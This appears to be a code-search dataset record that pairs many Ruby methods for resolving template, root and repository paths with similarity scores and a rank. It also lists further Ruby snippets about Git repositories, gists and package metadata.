"def template_path(template)\n File.join(@root, 'templates', self.class::FILES[template])\n end",
"def template_path\n \"#{template_dir}/#{template_name}\"\n end",
"def full_path\n \"templates/#{filename}\"\n end",
"def template_dir\n File.dirname(__FILE__) + '/../cfg'\n end",
"def template_path\n File.expand_path(File.join(File.dirname(__FILE__), \"template.rb\"))\n end",
"def templates_path\n File.join(root, TEMPLATES)\n end",
"def templates_path\n File.join(File.dirname(__FILE__), '..', 'templates')\n end",
"def template_base_path\n @template_base_path ||= Inkblot.vendor_path('templates')\n end",
"def template_path\n File.join path, 'templates'\n end",
"def template_path\n \n custom_path = File.expand_path(\"./config/deploy/templates/unicorn.service.erb\")\n original_path = File.expand_path(\"../templates/unicorn.service.erb\", __FILE__)\n \n File.exist?(custom_path) ? custom_path : original_path\n end",
"def path(file)\n File.join File.dirname(__FILE__), '../../templates/', file\n end",
"def templates_path\n File.join((File.expand_path '..', File.dirname(__FILE__)), 'templates')\n end",
"def absolute_path(template_name)\n File.join(@base_path, \"#{template_name}.#{TEMPLATE_EXT}\")\n end",
"def template_path\n @template_path ||= @env[:templates_path] || default_settings[:templates_path]\n Pathname.new @template_path\n end",
"def template_path\n File.expand_path(File.join('..', '..', '..', 'templates', \"#{template_name}.erb\"), __FILE__)\n end",
"def base_template_path\n File.join(Rails.root, 'config', 'default_data', 'master-template.xlsx')\n end",
"def template_dir\n Templates.path_for(template_dir_name)\n end",
"def templates_dir\n return File.join(File.dirname(__FILE__), 'server/templates')\n end",
"def templates_dir\n return File.join(File.dirname(__FILE__), 'server/templates')\n end",
"def doc_templates_dir\n return File.absolute_path(File.join(@root_dir, 'doc_templates'))\n end",
"def where_to_save\n output_dir = @template_options[OUTPUT_DIR]\n # assume absolute\n full_path = output_dir\n if (Pathname.new(output_dir)).relative?\n full_path = File.expand_path(output_dir, Dir.pwd)\n end\n return full_path\n end",
"def template_dir\n @template_dir ||= File.expand_path(File.join(File.dirname(__FILE__), 'templates'))\n end",
"def template_path(filename)\n File.join(PatienceDiff::TEMPLATE_PATH, filename)\n end",
"def get_root\n return File.join('/root/path', SETTINGS[:project])\n end",
"def template(template_name = 'template.txt')\n File.read([File.dirname(__FILE__), template_name].join('/'))\n end",
"def pathTemplates\n \"./templates/\"\nend",
"def get_template_file(file)\n File.join(File.dirname(__FILE__), 'templates', file)\n end",
"def templatepath(environment = nil)\n dirs = Puppet.settings.value(:templatedir, environment).split(File::PATH_SEPARATOR)\n dirs.select do |p|\n File::directory?(p)\n end\n end",
"def template_dir\n File.join(PREFIX, 'share', 'oswitch', 'context')\n end",
"def template_path\n File.join gem_root, 'spec', 'fixtures', 'application'\n end",
"def template_path\n @template_path ||= Rails.root.join('app', 'assets', 'javascripts', 'templates')\n # @template_path ||= Rails.root.join('app', 'handlebars', 'templates')\n end",
"def root_file_path; end",
"def template_load_path\n @template_load_path ||= File.expand_path(File.dirname(self.filename))\n end",
"def template_path(template, node)\n cookbook_name = template.cookbook || template.cookbook_name\n cookbook = node.cookbook_collection[cookbook_name]\n cookbook.preferred_filename_on_disk_location(node, :templates, template.source)\nend",
"def real_path(filename)\n File.join TEMPLATES_DIR, filename\n end",
"def templates_dir\n \"#{RdocInfo.config[:templates_dir]}\"\n end",
"def template_filepath(filename)\n filepath = File.join(File.dirname(__FILE__), \"coreos/#{filename}.erb\")\n end",
"def template_dir_for template\n template_path = File.join 'rdoc', 'generator', 'template', template\n\n $LOAD_PATH.map do |path|\n File.join File.expand_path(path), template_path\n end.find do |dir|\n File.directory? dir\n end\n end",
"def built_in_template_for(template_name)\n File.join( File.dirname(__FILE__), 'templates', template_name )\n end",
"def resource_template_dir\n \"#{App.config.resource_directory}/templates\"\n end",
"def relroot\n Pathname.new(File.expand_path(path)).\n relative_path_from(Pathname.new(File.expand_path(root))).to_s\n end",
"def root\n Pathname.new(File.dirname(__dir__))\n end",
"def pathname\n \"public/themes/#{self.directory_name}/#{self.template_filename}\"\n end",
"def make_template_path(filename)\n return File.join(templates_dir, filename)\n end",
"def make_template_path(filename)\n return File.join(templates_dir, filename)\n end",
"def file_path( target )\n File.join(template_theme.website.path, self.path, template_theme.file_name(target))\n end",
"def template_path(name)\n File.join(__dir__, 'config', \"#{name}.yml.erb\")\n end",
"def root_path\n path = File.join(File.dirname(__FILE__), '../')\n Pathname.new(path).realpath\nend",
"def template_path\n @default_options.fetch(:template_path, nil)\n end",
"def templates_path\n @templates_path\n end",
"def template_path(path)\n # Add a new template extension here if we need to.\n [ 'haml', 'erb' ].each do |template_extension|\n if path.directory? && (path + \"index.html.#{template_extension}\").file?\n return \"#{path}/index\"\n elsif (path.dirname + (path.basename.to_s + \".html.#{template_extension}\")).file?\n return path.dirname + path.basename.to_s\n end\n end\n nil\n end",
"def root\n Pathname.new File.expand_path('../../', File.dirname(__FILE__))\n end",
"def root\n File.dirname(__FILE__)\n end",
"def get_template_file\n @config['template']\n end",
"def file_path( target )\n # theme.site do not work.\n File.join( original_template_theme.store.path, self.path, file_name(target))\n end",
"def root_path\n Pathname.new(File.expand_path(File.join(__dir__, '..', '..')))\nend",
"def template_path\n @options[:template_path]\n end",
"def path\n real_path = Pathname.new(root).realpath.to_s\n full_path.sub(%r{^#{real_path}/}, '')\n end",
"def path_to_template name\n \"#{JSPEC_ROOT}/templates/#{name}/.\"\n end",
"def base_path\n Dir.pwd + \"/\"\n end",
"def template_path(template)\n modulepath.each do | path|\n return path if File.exists?(\"#{path}/easy_type/templates/#{template}\")\n end\n fail \"Template #{template} not found in modulepath #{modulepath}\"\n end",
"def full_path\n container.root.join(path)\n end",
"def full_path\n container.root.join(path)\n end",
"def resource_root\n FilePath.new(build_module.root, name + \".resources\").canonicalize\n end",
"def root_path\n ENV['TM_PROJECT_DIRECTORY'] || File.join(ENV['TM_DIRECTORY'], \"..\")\n end",
"def path\n # self.id is not accurate, it may use imported theme of design site.\n # on other side, design site may release template first time. current_template_release = nil\n if self.current_template_release.present?\n File.join( File::SEPARATOR+'layouts', \"t#{self.current_template_release.theme_id}_r#{self.release_id}\")\n else\n File.join( File::SEPARATOR+'layouts', \"t#{self.id}_r#{self.release_id}\")\n end\n end",
"def path\n # self.id is not accurate, it may use imported theme of design site.\n # on other side, design site may release template first time. current_template_release = nil\n if self.current_template_release.present?\n File.join( File::SEPARATOR+'layouts', \"t#{self.current_template_release.theme_id}_r#{self.release_id}\")\n else\n File.join( File::SEPARATOR+'layouts', \"t#{self.id}_r#{self.release_id}\")\n end\n end",
"def template_path\n exact_path = File.join(root, request.path)\n with_erb = File.join(root, \"#{request.path}.html.erb\")\n with_index = File.join(root, File.dirname(request.path), 'index.html.erb')\n\n [ exact_path, with_erb, with_index ].find { |f| File.file?(f) }\n end",
"def template_filepath(filename)\n raise ProjectHanlon::Error::Slice::InternalError, \"must provide xenserver version.\" unless @osversion\n filepath = File.join(File.dirname(__FILE__), \"xenserver/#{@osversion}/#{filename}.erb\")\n end",
"def path\n path = @file.sub(File.expand_path(root_path), '')\n\n # if xx.haml (but not xx.html.haml), \n if tilt?\n path = path.sub(/\\.[^\\.]*$/, \"\")\n path += \".#{default_ext}\" unless File.basename(path).include?('.')\n end\n\n path\n end",
"def template_file\n @template_file || \"#{path}/#{template_name}.#{template_extension}\"\n end",
"def compiled_template_path\n return nil if object.source.blank?\n object.source.filesystem_name + \"/templates/\" + object.perspective.gsub(\" \", \"\").underscore\n end",
"def root\n File.dirname __dir__\n end",
"def root\n File.dirname __dir__\n end",
"def template_path(template_name, target_name=template_name.chomp('.erb'), mode=0600, locals={'attrs' => attrs})\r\n _package_.build_template(target_name, template_name, mode, locals)\r\n target_path target_name\r\n end",
"def absolute_template_filename_for(relative_filename)\n File.expand_path(File.join(self.class.template_load_path, relative_filename))\n end",
"def scaffold_path(template_name)\n File.join(scaffold_template_dir, template_name+'.rhtml')\n end",
"def root\n File.expand_path(File.dirname(File.dirname(File.dirname(__dir__))))\n end",
"def path\n Rails.root.join(ROOT, type, name, executable).to_s\n end",
"def root\n settings[:basedir]\n end",
"def rdoc_dir(template)\n \"#{RdocInfo.config[:rdoc_dir]}/#{template}/#{@project.owner}/#{@project.name}/blob/#{@project.commit_hash}\"\n end",
"def __path__\n File.join(root, 'tmp', 'build')\n end",
"def root\n root = ENV['JETS_ROOT'].to_s\n root = '.' if root == ''\n root = \"#{root}/\" unless root.ends_with?('/')\n Pathname.new(root)\n end",
"def source_root\n FilePath.new(build_module.root, name).canonicalize\n end",
"def root\n '../' * file.count('/')\n end",
"def file() = pathname.relative_path_from(Cnfs.config.paths.definitions)",
"def root\n Dir.pwd\n end",
"def root\n File.expand_path(File.dirname(__dir__))\n end",
"def root; Pathname(__dir__).parent; end",
"def root\n File.dirname __dir__\n end",
"def python_command_script_template_path\n File.expand_path(\"../../templates/script/runpython.sh\", __FILE__)\n end",
"def project_root\n this_file_path.ascend do |p|\n rakefile = p.join( 'Rakefile' )\n return p if rakefile.exist?\n end\n end",
"def root_path(path) File.join(root, path) end",
"def root\n File.expand_path '../../..', __FILE__\n end",
"def template_dir\n self.class.name.underscore\n end"
] |
[
"0.8041517",
"0.8010841",
"0.7934464",
"0.79063433",
"0.782733",
"0.7804971",
"0.77880585",
"0.77095896",
"0.76418203",
"0.76312923",
"0.7623952",
"0.7580384",
"0.7566597",
"0.74557036",
"0.7443224",
"0.74179775",
"0.7413786",
"0.73897845",
"0.73760986",
"0.7343122",
"0.7340088",
"0.730764",
"0.73033005",
"0.73033005",
"0.7276597",
"0.723051",
"0.72131014",
"0.7199658",
"0.7162596",
"0.71314263",
"0.7114299",
"0.70878524",
"0.7067802",
"0.70626056",
"0.70518523",
"0.70282936",
"0.69893026",
"0.6986333",
"0.6977416",
"0.69677484",
"0.69627947",
"0.695937",
"0.6958583",
"0.692921",
"0.6926509",
"0.6818472",
"0.68050855",
"0.680302",
"0.6788444",
"0.6788444",
"0.6783937",
"0.6781261",
"0.67764807",
"0.676889",
"0.67594504",
"0.6758656",
"0.6749598",
"0.6747868",
"0.6720494",
"0.67033446",
"0.669707",
"0.6696027",
"0.66944945",
"0.66941327",
"0.66898876",
"0.66808075",
"0.66660416",
"0.66660416",
"0.666568",
"0.6645463",
"0.6644876",
"0.6644876",
"0.6643689",
"0.66071635",
"0.659874",
"0.6593377",
"0.6592417",
"0.6591136",
"0.6591136",
"0.6587731",
"0.65856695",
"0.65609634",
"0.6557848",
"0.65502715",
"0.6542553",
"0.6541927",
"0.65352273",
"0.653151",
"0.65284336",
"0.65271926",
"0.6510206",
"0.6504617",
"0.65033937",
"0.6503373",
"0.6502625",
"0.65004754",
"0.6498972",
"0.6496759",
"0.649038",
"0.6473303"
] |
0.6727388
|
58
|
Generate the repository dists
|
def generate_dists(pkg_hash)
pkg_hash.each do |origin_name, dists|
dists.each do |dist_name, dist_args|
dist_args[:components].each do |component_name, arches|
packages = arches.values.flatten.compact.map(&:values).flatten.compact.map(&:values).flatten.compact
p_file = primary_file(origin_name, dist_name, component_name, packages)
f_file = filelist_file(origin_name, dist_name, component_name, packages)
sign_file_if_setup do
repomd_file(origin_name, dist_name, component_name,
:primary => p_file,
:filelists => f_file)
end
end
end
end
true
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def repo_dir; end",
"def repositories\n # TODO : merge with current data\n load_repos\n end",
"def get_repo (repoName='ComputerScience_test')\n puts \"get_repo\"\n set_repository repoName\n puts \"set_repository #{@repository}\"\n result = @repository.query.perform \"select ?s ?p ?o {?s ?p ?o} order by ?s\"\n #puts \"@repository.query.perform #{result}\"\n \n graph = RDF::Graph.new(\"http://ninjalearning.info:8080/repositories/ComputerScience_test\") # TODO: repo name, host, port, ...\n \n result['values'].each do |triple|\n graph << RDF::Statement.new(\n RDF::URI.new(triple[0]),\n RDF::URI.new(triple[1]),\n RDF::URI.new(triple[2]),\n )\n end\n graph\n end",
"def repo; end",
"def repo; end",
"def repo; end",
"def repo; end",
"def run\n repo_name = extract_full_repo_name(_get_entity_name)\n\n _set_entity_detail('owner', repo_name.split('/').first)\n _set_entity_detail('repository_name', repo_name.split('/')[1])\n _set_entity_detail('repository_uri', \"https://github.com/#{repo_name}\")\n _set_entity_detail('repository_public', repo_public?(repo_name))\n end",
"def chunked_repo_sets \n all_repositories = Dir.entries(OBSERVATIONS_DIR).select{|x| x != '.' && x != '..' && x != '.DS_Store'}.map{|x| \"#{OBSERVATIONS_DIR}/\" + x}\n stride = 500\n start_i = 0\n end_i = stride - 1\n repo_count = all_repositories.size\n repo_sets = Array.new\n while start_i < repo_count do\n end_i = repo_count - 1 if end_i >= repo_count\n next_set = all_repositories[start_i..end_i]\n repo_sets << next_set\n start_i = end_i + 1\n end_i += stride\n end\n repo_sets\nend",
"def repositories\n [ repository ].to_set + @properties.keys.map { |repository_name| DataMapper.repository(repository_name) }\n end",
"def index\n @my_gists = {}\n @starred_gists = {}\n save_gists_data\n save_gists_index\n end",
"def create_all_repo\n\tLOGGER.info \"Create or checkout all repos\"\n\trepos = Hash.new\n\t$CONFIG[:repos].each do |r|\n\t\tbegin\n\t\t\trepos[ r[:name] ] = CompileRepo.new r\n\t\trescue StandardError => e\n\t\t\terror \"#{r[:name]} #{e} not available, skip\"\n\t\t\tputs e.backtrace\n\t\t\tnext\n\t\tend\n\t\t\n\t\t# Find the result dir\n\t\t`mkdir -p #{CompileRepo.result_abspath}` unless File.directory? CompileRepo.result_abspath\n\t\t`mkdir -p #{repos[ r[:name] ].result_dir}` unless File.directory? repos[ r[:name] ].result_dir\n\tend\n\trepos\nend",
"def repository; end",
"def static_list_repositories\n %w[https://github.com/iwc-workflows/sars-cov-2-variation-reporting.git\n https://github.com/iwc-workflows/sars-cov-2-pe-illumina-artic-variant-calling.git\n https://github.com/iwc-workflows/sars-cov-2-ont-artic-variant-calling.git\n https://github.com/iwc-workflows/sars-cov-2-se-illumina-wgs-variant-calling.git\n https://github.com/iwc-workflows/sars-cov-2-pe-illumina-wgs-variant-calling.git\n https://github.com/iwc-workflows/parallel-accession-download.git\n https://github.com/iwc-workflows/sars-cov-2-consensus-from-variation.git\n https://github.com/iwc-workflows/sars-cov-2-pe-illumina-artic-ivar-analysis.git\n https://github.com/iwc-workflows/fragment-based-docking-scoring.git\n https://github.com/iwc-workflows/protein-ligand-complex-parameterization.git\n https://github.com/iwc-workflows/gromacs-mmgbsa.git\n https://github.com/iwc-workflows/gromacs-dctmd.git].map { |r| { 'clone_url' => r }}\n end",
"def repositories\n\t\t\telems = []\n\t\t\tget_resource_link(:datacenterrepositories, \"datacenterRepositories\", \"datacenterRepository\").each do |data|\n\t\t\t\telems << Repository.new(data)\n\t\t\tend\n\t\t\telems\n\t\tend",
"def compute_repositories\n return 0 if self.repository.nil? || self.repository.empty?\n self.profile['repositories'].inject(0) do |acc, repo|\n acc += find_points(:repository, repo)\n end\n end",
"def generate_organizations\n PDEX::NPPESDataRepo.organizations.each do |nppes_data|\n PDEX::OrganizationGenerator.new(nppes_data).generate.each do |resource|\n write_resource(resource)\n end\n end\n end",
"def build_repo(uri, distribution, components, trusted, arch, add_deb_src)\n components = components.join(' ') if components.respond_to?(:join)\n repo_options = []\n repo_options << \"arch=#{arch}\" if arch\n repo_options << 'trusted=yes' if trusted\n repo_options = '[' + repo_options.join(' ') + ']' unless repo_options.empty?\n repo_info = \"#{uri} #{distribution} #{components}\\n\"\n repo_info = \"#{repo_options} #{repo_info}\" unless repo_options.empty?\n repo = \"deb #{repo_info}\"\n repo << \"deb-src #{repo_info}\" if add_deb_src\n repo\nend",
"def directories; end",
"def directories; end",
"def repository\n if ladnn?\n ['University of California, Los Angeles. Library. Department of Special Collections']\n else\n # Replace marc codes with double dashes and no surrounding spaces\n map_field(:repository)&.map { |a| a.gsub(/ \\$[a-z] /, ' ') }\n end\n end",
"def get_repository_template(name)\n %Q(\n @prefix rdfs: <http://www.w3.org/2000/01/rdf-schema#>.\n @prefix rep: <http://www.openrdf.org/config/repository#>.\n @prefix sr: <http://www.openrdf.org/config/repository/sail#>.\n @prefix sail: <http://www.openrdf.org/config/sail#>.\n @prefix sys: <http://www.openrdf.org/config/repository#> .\n @prefix ns: <http://www.openrdf.org/config/sail/native#>.\n\n _:#{name}{\n [] a rep:Repository ;\n rep:repositoryID \"#{name}\" ;\n rdfs:label \"Metadata and Annotations for #{name} collection\" ;\n rep:repositoryImpl [\n rep:repositoryType \"openrdf:SailRepository\" ;\n sr:sailImpl [\n sail:sailType \"openrdf:NativeStore\" ;\n ns:tripleIndexes \"spoc,posc\"\n ]\n ].\n }\n {\n _:#{name} a sys:RepositoryContext .\n }\n )\n end",
"def get_repositories\n get(\"#{url_base}/repositories?#{dc}\")[\"data\"]\n end",
"def initialize_repository\n @packages = []\n end",
"def all\n storage.map(&:repository)\n end",
"def repomd_file(origin_name, dist_name, component_name, files)\n content = {\n :repomd => {\n :@xmlns => XMLNS_MAP[:repo],\n :data => Hash.new.tap { |data|\n files.each do |f_name, f_paths|\n data[f_name] = {\n :location => File.join(\"repodata\", File.basename(f_paths.first)),\n \"open-checksum\" => {\n :@type => \"sha\",\n :_content_ => checksum(File.open(f_paths.first), :sha1),\n },\n :checksum => {\n :@type => \"sha\",\n :_content_ => checksum(File.open(f_paths.last), :sha1),\n },\n :timestamp => File.mtime(f_paths.first).to_i,\n }\n end\n },\n },\n }\n args = [origin_name, dist_name, component_name, \"repodata\", \"repomd.xml\"]\n create_file(*args) do |file|\n file.puts generate_xml(content)\n end\n end",
"def gists(params={})\n Ghee::API::Gists::Proxy.new(connection,\"#{path_prefix}/gists\", params)\n end",
"def repo_root; end",
"def createdirectories()\n\n\tputs \"\\n\" + '[ ' + yellow( 'RUNNING' ) + \" ] Setup\"\n\n\texecute \"mkdir -p #{fetch(:deploy_to)}releases\"\n\texecute \"mkdir -p #{shared_path}\"\n\n\tputs '[ ' + green( 'SUCCESS' ) + ' ]'\n\nend",
"def entries\n cat_dir = Settings.catalog_dir\n #\n #personal_entries = []\n #Dir.entries(@personal_dir).each do |r|\n # personal_entries << r if FileTest::file?(File.join(@catalog_dir,r))\n #end\n # this probably needs enhancement\n #reposits = @catalog_urls.collect { |r|\n # ['.gz','.bz2','.zip','.tgz','.tar'].inject(File.basename(r)) { |bn, ch| bn.chomp(ch) }\n #}.reverse\n public_entries = []\n Dir.entries(cat_dir).each do |r|\n reposit = File.join(cat_dir,r)\n if File.directory?(reposit) and r != '.' and r != '..' and r != 'CVS'\n Dir.entries(reposit).each do |d|\n public_entries << \"#{File.basename(reposit)}/#{d}\" if File.file?(File.join(reposit,d))\n end\n elsif File.file?(reposit)\n public_entries << \"#{File.basename(reposit)}\" if r !~ /(\\.gz|\\.bz2|\\.zip|\\.tgz|\\.tar)$/\n end\n end\n #personal_entries + public_entries\n public_entries\n end",
"def listpackages\n packages = []\n\n @repository.categories.each do |category|\n Architecture.dataset(category).each do |entry|\n source = Architecture.new(entry[:architecture], entry[:component], entry[:suitename], category)\n source.files.each do |fullname|\n package = Package.new(fullname, entry[:suitename], entry[:component])\n packages << {\n :fullname => fullname,\n :category => category,\n :basename => File.basename(fullname),\n :controlfile => package.controlfile,\n :component => entry[:component],\n :suitename => entry[:suitename],\n :architecture => entry[:architecture]\n }\n end\n end\n if category.eql? \"stage\"\n Component.dataset(category).each do |entry|\n source = Component.new(entry[:component], entry[:suitename], category)\n source.files.each do |fullname|\n package = Package.new(fullname, entry[:suitename], entry[:component])\n packages << {\n :fullname => fullname,\n :category => category,\n :basename => File.basename(fullname),\n :controlfile => package.controlfile,\n :component => entry[:component],\n :suitename => entry[:suitename],\n :architecture => \"unknown\"\n }\n end\n end\n end\n end\n packages\n end",
"def repositories\n opts[:repositories]\n end",
"def get_repository_images\n\n raw_images = self.get_raw_repository_images\n\n images = []\n\n raw_images.each do |image|\n images << RaisEcs::ContainerImage.new({\n local_image_id: image.id[0...12],\n primary_image_tag: image.id[0...12],\n local_repository: self,\n local_image_object: image,\n image_created_dt: Time.at(image.info['Created'])\n })\n end\n\n return images\n\n end",
"def dirs; end",
"def dirs; end",
"def acquire_repo_list\n set_auth\n set_github_repo_name\n repo_list = []\n (@github.repos.list org: GITHUB_ORG).each do |l|\n repo_list << l[:name]\n end\n repo_list\nend",
"def repository_for_attributes(attributes)\n repo = RDF::Repository.new\n attributes.each do | name, attribute |\n if self.class.is_list?(name)\n new = []\n attribute.each do |value|\n value = self.class.build_rdf_value(value, self.class.properties[name][:type])\n new << RDF::Statement.new(@subject, self.class.properties[name][:predicate], value)\n end\n repo.insert(*new)\n else\n value = self.class.build_rdf_value(attribute, self.class.properties[name][:type])\n repo.insert(RDF::Statement.new(@subject, self.class.properties[name][:predicate], value))\n end\n end\n repo\n end",
"def fs_description\n repo_paths = root_paths || [ File.dirname(child_paths[\"cookbooks\"][0]) ]\n result = \"repository at #{repo_paths.join(\", \")}\"\n if versioned_cookbooks\n result << \" (Multiple versions per cookbook)\"\n else\n result << \" (One version per cookbook)\"\n end\n child_paths.each_pair do |name, paths|\n if paths.any? { |path| !repo_paths.include?(File.dirname(path)) }\n result << \" #{name} at #{paths.join(\", \")}\\n\"\n end\n end\n result\n end",
"def get_repo_list(ssh: false)\n CSV.generate do |csv|\n self.groupings.includes(:group).each do |grouping|\n group = grouping.group\n data = [group.group_name, group.repository_external_access_url]\n data << group.repository_ssh_access_url if ssh\n csv << data\n end\n end\n end",
"def write_repository(product_dir, releases)\n platforms = releases.map { |release| release[:platform] }.uniq\n platforms.each do |platform|\n configuration_directory = File.join(product_dir, platform)\n FileUtils.mkdir_p(configuration_directory)\n releases_by_version = Hash.new { |hash, key| hash[key] = [] }\n releases.each do |release|\n next if release[:platform] != platform\n\n releases_by_version[release[:version]] << extract_release_fields(release)\n end\n releases_by_version.each_pair do |version, version_releases|\n File.write(File.join(configuration_directory, \"#{version.gsub('/', '-')}.json\"),\n JSON.pretty_generate(version_releases))\n end\n end\n end",
"def initialize_grit_repos (git_repos)\n\tgit_repos['rugged'] = []\n\tgit_repos['includes'].each do | path |\n\t\tgit_repos['rugged'].push(Rugged::Repository.new(path))\n\tend\nend",
"def collected_repo_keys\n self.repos.collect { |repo| repo.repo_key }\n end",
"def generate_from_directory_package(location)\n files = []\n\n # package files\n package_info = Package::PackageScanner.scan(location)\n files << \"pione-package.json\"\n files += package_info.filepaths\n\n # scenario files\n scenario_infos = package_info.scenarios.map do |scenario|\n files << File.join(scenario, \"pione-scenario.json\")\n files += Package::ScenarioScanner.scan(location + scenario).filepaths.map do |path|\n File.join(scenario, path)\n end\n end\n\n # make seed string for digest\n seed = files.sort.each_with_object(\"\") do |filepath, string|\n digest = Digest::MD5.file((location + filepath).path).to_s\n string << \"%s %s\\n\" % [filepath, digest]\n end\n\n return Digest::MD5.hexdigest(seed)\n end",
"def output\n { images: images, stemcells: [], repository_bases: repository_bases }\n end",
"def generate_repository_data_from_Puppetfile\n repositories = []\n\n # Open the Puppetfile\n File.open(@options[:puppetfile], 'r') do |fh|\n while (line = fh.gets) != nil\n # Skip blank lines, comments, anything that looks like a forge module\n next if line =~ Skipall_Regex\n next if Module_Regex.match(line)\n # When we see /mod 'modulename',/ it is possibly a properly formatted fixture\n if Repository_Regex.match(line)\n complete = false\n name = Regexp.last_match(1)\n while (line = fh.gets) != nil\n next if line =~ Skipall_Regex\n if Location_Only_Regex.match(line)\n # The Puppetfile may specify just a location /:git => 'https://github.com/author/puppet-modulename'/\n # We do not validate the URI protocol, just that it is a valid URI\n location = Regexp.last_match(1)\n puts \"Found module #{name} with location #{location}\" if @options[:debug]\n unless location.match(URI.regexp)\n puts \"#{location} is not a valid URI, skipping this repo\" if @options[:debug]\n break\n end\n repositories << {name: name, location: location}\n complete = true\n elsif Location_Plus_Regex.match(line)\n # Or it may provide more, with a trailing comma\n # :git => 'https://github.com/author/puppet-modulename',\n # :ref => '1.0.0'\n location = Regexp.last_match(1)\n while (line = fh.gets) != nil\n next if line =~ Skipall_Regex\n if Type_ID_Regex.match(line)\n type = Regexp.last_match(1)\n id = Regexp.last_match(2)\n puts \"Found module #{name} with location #{location}, #{type} of #{id}\" if @options[:debug]\n unless location.match(URI.regexp)\n puts \"#{location} is not a valid URI, skipping this repo\" if @options[:debug]\n break\n end\n repositories << {name: name, location: location, type: type, id: id}\n complete = true\n else\n # If the :git line ends with a comma but no type/ID is found, ignore it, we cannot properly determine the fixture\n puts \"Found module #{name} at location #{location}. Expected type/ID information but did not find any, skipping.\" if @options[:debug]\n complete = true\n end\n break if complete\n end\n else\n # If the /mod 'modulename',/ line is not followed with a :git string, ignore it, we cannot properly determine the fixture\n puts \"Found a reference to module #{name} but no location (:git) was provided, skipping.\" if @options[:debug]\n complete = true\n end\n break if complete\n end\n end\n end\n end\n\n repositories\n end",
"def init\n return if File.exists? data_path\n if parent.nil?\n Rugged::Repository.init_at barerepopath, :bare\n Rugged::Repository.clone_at barerepopath, satelliterepopath\n sym_hook\n else # it's a fork, therefore:\n Rugged::Repository.init_at barerepopath, :bare\n Rugged::Repository.clone_at parent.satelliterepopath, satelliterepopath\n end\n FileUtils.mkdir_p image_for('', 'mobile_inspire')\n FileUtils.mkdir_p image_for('', 'desktop_inspire')\n FileUtils.mkdir_p image_for('', 'thumbnails')\n FileUtils.mkdir_p image_for('', 'show_image_desk')\n FileUtils.mkdir_p image_for('', 'show_image_mob')\n FileUtils.mkdir_p image_for('', 'show')\n\n return if satelliterepo.empty?\n pushtobare\n copy_generated_images parent\n end",
"def import_repositories\n import_generic(REPOSITORIES_PATH, Repository, 'uuid',\n %w(uuid title url notes address_1 address_2 city state zip phone_number email contact_email ldap_admin_group))\n end",
"def show_repo_details\n # Synchronize repo with Git Hub (1 day between refreshs)\n @repo.sync_github!(1.day).save!\n \n # Synchronize contributors (1 hour between refreshs)\n if @repo.sync_contribs_delay?(1.hour)\n github_contributors_login = @repo.get_github_contributors\n \n if github_contributors_login\n users = CacheUser.where(login: github_contributors_login)\n\n # Drop any relation with old contributors - I think i've wasted my time\n if users.length > 0\n CacheContrib.where(cache_repo_id: @repo).where.not(cache_user_id: users.map(&:id)).delete_all\n end\n\n # Add new contributors with empty personal data\n new_users = github_contributors_login - users.map(&:login)\n new_users.each do |github_login_new|\n CacheUser.create(login: github_login_new)\n end\n \n # Make link for each contributor\n current_contribs = CacheUser.joins(:cache_contribs).where(cache_contribs: {cache_repo_id: @repo.id})\n CacheUser.where(login: github_contributors_login).where.not(id: current_contribs).each do |user|\n user.cache_contribs.build(cache_repo: @repo)\n user.save\n end\n end\n \n @repo.upd_userlist_at = Time.now\n @repo.save!\n end\n \n # Load contributors from cache, contributors without personal data or too old are first\n # Nota : I use this method because a simple select order by synced_on show nil in first\n # but I read than oracle put them at the end depending server configuration. This suck !\n @users = CacheUser.never_synced.only_repo(@repo).order(:updated_at)\n @users.merge CacheUser.synced_from(4.days).only_repo(@repo).order(:synced_on, :updated_at)\n \n # Update contributors personal data if too old or never updated\n if @users.length > 0\n maxlist = @users.length <= 148 ? @users.length : 148 # Not exceed 148 personal data requests\n \n # Synchronize personal data of contributors : Old method\n # -> not enought efficient with large contributors list\n # @users[0...maxlist].each {|contributor| contributor.reload.sync_github!(4.days).save!}\n\n # Synchronize personal data of contributors : Use threads for concurrent requests\n work_queue = Queue.new \n # Add to the working queue all logins to proceed by threads\n @users[0...maxlist].map(&:login).each {|github_login| work_queue.push github_login}\n \n # Launch up to 10 threads\n # Warning : Each worker use a connection from ActiveRecord's pool. See database.yml for\n # set the pool size (count also the connection for this main thread).\n workers = (0...10).map do\n Thread.new do\n until work_queue.empty? do\n github_login = work_queue.pop(true) rescue nil\n if github_login\n user = CacheUser.where(login: github_login).first\n if user\n user.sync_github!(4.days).save!\n end\n end\n end\n end\n end\n workers.map(&:join) # Wait all threads finished before proceeding further \n end\n # Reload fresh data.\n @users = CacheUser.only_repo(@repo)\n respond_to do |format|\n format.html { render }\n format.json { render :show_repo_details, status: :ok, location: @repo }\n end\n end",
"def data\n @repo_data\n end",
"def execute\n get_repo(repo_name).repo.fetch\n end",
"def set_gist_data\n gist.description = generated_gist_description\n gist.files.keys.each { |filename| gist.files[filename] = nil }\n code_examples.each do |example|\n gist.files[example.filename] = { :content => example }\n end\n gist.files\n end",
"def initial_path_setup\n repo_name = @repo.repo_name.gsub(/[.]+/, '-') || @repo.repo_name\n repo_path = Rails.root.join('storage', 'repos', @repo.username, @repo.supplier_project_id.to_s, repo_name)\n FileUtils.mkdir_p(repo_path) unless File.directory?(repo_path)\n Dir.chdir(repo_path)\n ActiveRecord::Base.connection_pool.with_connection do \n @repo.update(clone_path: repo_path)\n end\n end",
"def gist_url\n \"#{api_url}/gists/%s\"\n end",
"def get_repos\n\t\t@repos = Repo.all\n\tend",
"def repositories\n octokit.repositories('zold-io').map { |json| json['full_name'] }\n end",
"def retrieve_mods(fn, druid)\n FileUtils.mkdir_p File.dirname(fn)\n File.open(fn, 'w') { |f| f << Dor::Item.find(\"druid:#{druid}\").descMetadata.ng_xml.to_xml }\n end",
"def retrieve_mods(fn, druid)\n FileUtils.mkdir_p File.dirname(fn)\n File.open(fn, 'w') { |f| f << Dor::Item.find(\"druid:#{druid}\").descMetadata.ng_xml.to_xml }\n end",
